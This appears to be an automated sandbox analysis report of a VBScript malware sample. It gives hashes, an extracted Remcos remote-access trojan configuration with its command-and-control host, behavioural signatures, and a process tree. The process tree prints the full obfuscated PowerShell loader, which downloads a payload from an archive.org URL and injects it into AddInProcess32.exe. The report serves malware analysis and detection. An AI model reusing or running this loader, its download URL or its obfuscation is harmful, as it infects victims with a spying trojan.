Analysis
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max time kernel
149s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
26-09-2024 08:57
Static task
static1
Behavioral task
behavioral1
Sample
sostener.vbs
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
sostener.vbs
Resource
win10v2004-20240802-en
General
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Target
sostener.vbs
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Size
499KB
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MD5
3b4164bdb4cf6c49570c95714f8c17a5
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SHA1
13c7abef0333088056a8c11c951c97fcb878ad96
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SHA256
fac857a7fa291be79831caef11498e067c036cd66812c7f1244b95b3e78a3ea4
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SHA512
460bf20b6d30b4314703b67356828e540db80b43e3afc37ce2d075660370a4a306659075abe4a6895039df86316d95756441e40546d8d72daef7c5c11e7155ac
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SSDEEP
12288:n9D/msDMDwwpZcKHg9NR4A6sgmkhf1dM4Y6ebu5Z2PqoKuN8HUe5FXNbSEKOsyTE:Sbqj
Malware Config
Extracted
https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt
https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt
Extracted
remcos
Matrix Fenix*
newssssssssssssss.duckdns.org:2404
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audio_folder
MicRecords
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audio_record_time
5
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connect_delay
0
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connect_interval
1
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copy_file
remcos.exe
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copy_folder
Remcos
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delete_file
false
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hide_file
false
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hide_keylog_file
false
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install_flag
false
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keylog_crypt
false
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keylog_file
registros.dat
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keylog_flag
false
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keylog_folder
remcos
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mouse_option
false
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mutex
Rmc-XDNGQ0
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screenshot_crypt
false
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screenshot_flag
false
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screenshot_folder
Capturas de pantalla
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screenshot_path
%AppData%
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screenshot_time
10
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take_screenshot_option
false
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take_screenshot_time
5
Signatures
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Blocklisted process makes network request 2 IoCs
flow pid Process 7 3156 powershell.exe 24 3156 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
pid Process 4232 powershell.exe 3156 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\Control Panel\International\Geo\Nation WScript.exe -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 3156 set thread context of 5036 3156 powershell.exe 92 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language AddInProcess32.exe -
Suspicious behavior: EnumeratesProcesses 10 IoCs
pid Process 4232 powershell.exe 4232 powershell.exe 3156 powershell.exe 3156 powershell.exe 3156 powershell.exe 3156 powershell.exe 3156 powershell.exe 3156 powershell.exe 3156 powershell.exe 3156 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 4232 powershell.exe Token: SeDebugPrivilege 3156 powershell.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 5036 AddInProcess32.exe -
Suspicious use of WriteProcessMemory 25 IoCs
description pid Process procid_target PID 4212 wrote to memory of 4232 4212 WScript.exe 82 PID 4212 wrote to memory of 4232 4212 WScript.exe 82 PID 4232 wrote to memory of 3156 4232 powershell.exe 84 PID 4232 wrote to memory of 3156 4232 powershell.exe 84 PID 3156 wrote to memory of 1280 3156 powershell.exe 89 PID 3156 wrote to memory of 1280 3156 powershell.exe 89 PID 3156 wrote to memory of 1280 3156 powershell.exe 89 PID 3156 wrote to memory of 4460 3156 powershell.exe 90 PID 3156 wrote to memory of 4460 3156 powershell.exe 90 PID 3156 wrote to memory of 4460 3156 powershell.exe 90 PID 3156 wrote to memory of 1944 3156 powershell.exe 91 PID 3156 wrote to memory of 1944 3156 powershell.exe 91 PID 3156 wrote to memory of 1944 3156 powershell.exe 91 PID 3156 wrote to memory of 5036 3156 powershell.exe 92 PID 3156 wrote to memory of 5036 3156 powershell.exe 92 PID 3156 wrote to memory of 5036 3156 powershell.exe 92 PID 3156 wrote to memory of 5036 3156 powershell.exe 92 PID 3156 wrote to memory of 5036 3156 powershell.exe 92 PID 3156 wrote to memory of 5036 3156 powershell.exe 92 PID 3156 wrote to memory of 5036 3156 powershell.exe 92 PID 3156 wrote to memory of 5036 3156 powershell.exe 92 PID 3156 wrote to memory of 5036 3156 powershell.exe 92 PID 3156 wrote to memory of 5036 3156 powershell.exe 92 PID 3156 wrote to memory of 5036 3156 powershell.exe 92 PID 3156 wrote to memory of 5036 3156 powershell.exe 92
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\sostener.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4212 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiAoKGdldC1WQVJJQWJMZSAnKk1EcionKS5OYU1lWzMsMTEsMl0tSm9JbicnKSAoKCgnazgnKydmdScrJ3InKydsID0gYzlJaHR0cHM6Ly9pYScrJzYwMDEwMC51cy4nKydhJysncmNoaXZlJysnLm9yZy8yNC9pdGVtcy9kZXRhaC1ub3RlLXYvRGV0YScrJ2hOb3RlVi50eHRjJysnOUk7azhmYicrJ2FzJysnZTY0Q29udCcrJ2VudCA9ICcrJyhOJysnZXctTycrJ2JqZWN0JysnIFN5c3RlbScrJy5OZXQuV2ViQ2xpZW50KS4nKydEb3dubG9hZCcrJ1N0JysncmluJysnZyhrOGZ1cmwpJysnO2snKyc4ZmJpbmEnKydyeUMnKydvbnRlbnQgPScrJyBbJysnU3knKydzdGVtLkMnKydvbnYnKydlJysncnRdOicrJzpGcm9tQmFzZScrJzY0U3RyaW5nKGs4ZmJhc2U2NEMnKydvbnQnKydlbnQnKycpO2s4ZmFzc2VtYmx5ID0gWycrJ1JlZmxlY3Rpb24uQXNzZW1ibHldJysnOjonKydMb2FkKCcrJ2s4ZicrJ2JpbmFyeUNvbnQnKydlbnQpO2s4ZicrJ3R5cGUgJysnPScrJyBrOGZhc3NlbScrJ2JsJysneS4nKydHZXRUeXAnKydlJysnKGM5JysnSVJ1blBFLkgnKydvbWVjOUkpOycrJ2s4ZicrJ21ldGhvZCA9ICcrJ2snKyc4ZnR5cGUnKycuR2V0TWV0JysnaG9kKGM5SVZBSWM5SSk7JysnazhmbWV0aG9kLkludicrJ29rZShrOGZudWxsLCcrJyBbb2InKydqZScrJ2N0W11dQChjOUkwL29Tc2tXL2QvZWUuJysnZScrJ3RzYXAvLycrJzpzcHR0aGM5SSAsJysnIGM5JysnSWQnKydlcycrJ2F0aXYnKydhZCcrJ29jOUknKycgJysnLCBjOUknKydkZXNhdGknKyd2YWRvYzknKydJICwgYzknKydJZGVzJysnYXRpdmFkb2M5SSxjJysnOUlBZGRJblByb2Nlc3MzMmM5SSxjOUljOUkpJysnKScpICAtY1JFcGxBQ0UgKFtDSGFSXTk5K1tDSGFSXTU3K1tDSGFSXTczKSxbQ0hhUl0zOSAgLXJFcExBY0UnazhmJyxbQ0hhUl0zNikgKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4232 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ". ((get-VARIAbLe '*MDr*').NaMe[3,11,2]-JoIn'') ((('k8'+'fu'+'r'+'l = c9Ihttps://ia'+'600100.us.'+'a'+'rchive'+'.org/24/items/detah-note-v/Deta'+'hNoteV.txtc'+'9I;k8fb'+'as'+'e64Cont'+'ent = '+'(N'+'ew-O'+'bject'+' System'+'.Net.WebClient).'+'Download'+'St'+'rin'+'g(k8furl)'+';k'+'8fbina'+'ryC'+'ontent ='+' ['+'Sy'+'stem.C'+'onv'+'e'+'rt]:'+':FromBase'+'64String(k8fbase64C'+'ont'+'ent'+');k8fassembly = ['+'Reflection.Assembly]'+'::'+'Load('+'k8f'+'binaryCont'+'ent);k8f'+'type '+'='+' k8fassem'+'bl'+'y.'+'GetTyp'+'e'+'(c9'+'IRunPE.H'+'omec9I);'+'k8f'+'method = '+'k'+'8ftype'+'.GetMet'+'hod(c9IVAIc9I);'+'k8fmethod.Inv'+'oke(k8fnull,'+' [ob'+'je'+'ct[]]@(c9I0/oSskW/d/ee.'+'e'+'tsap//'+':sptthc9I ,'+' c9'+'Id'+'es'+'ativ'+'ad'+'oc9I'+' '+', c9I'+'desati'+'vadoc9'+'I , c9'+'Ides'+'ativadoc9I,c'+'9IAddInProcess32c9I,c9Ic9I)'+')') -cREplACE ([CHaR]99+[CHaR]57+[CHaR]73),[CHaR]39 -rEpLAcE'k8f',[CHaR]36) )"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3156 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"4⤵PID:1280
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"4⤵PID:4460
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"4⤵PID:1944
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:5036
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
144B
MD512a0d36f9c69eb50999076f67673d404
SHA12b4d81e3c134d05319e1307256c62cf6cd470854
SHA2560b356192b1e3e80282ae8c72ed18794e45e274ef143f18f663402f56020ba92f
SHA5129f7ef6c2d7b90cd746b79f657ce54434461093a4b442122abeacc82ae4898eb9516bf0e5459fdabea65601da3d0edc0159b5f94d28059e2395987386c52098c1
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Filesize
3KB
MD5f41839a3fe2888c8b3050197bc9a0a05
SHA10798941aaf7a53a11ea9ed589752890aee069729
SHA256224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a
SHA5122acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699
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Filesize
64B
MD5d8b9a260789a22d72263ef3bb119108c
SHA1376a9bd48726f422679f2cd65003442c0b6f6dd5
SHA256d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc
SHA512550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82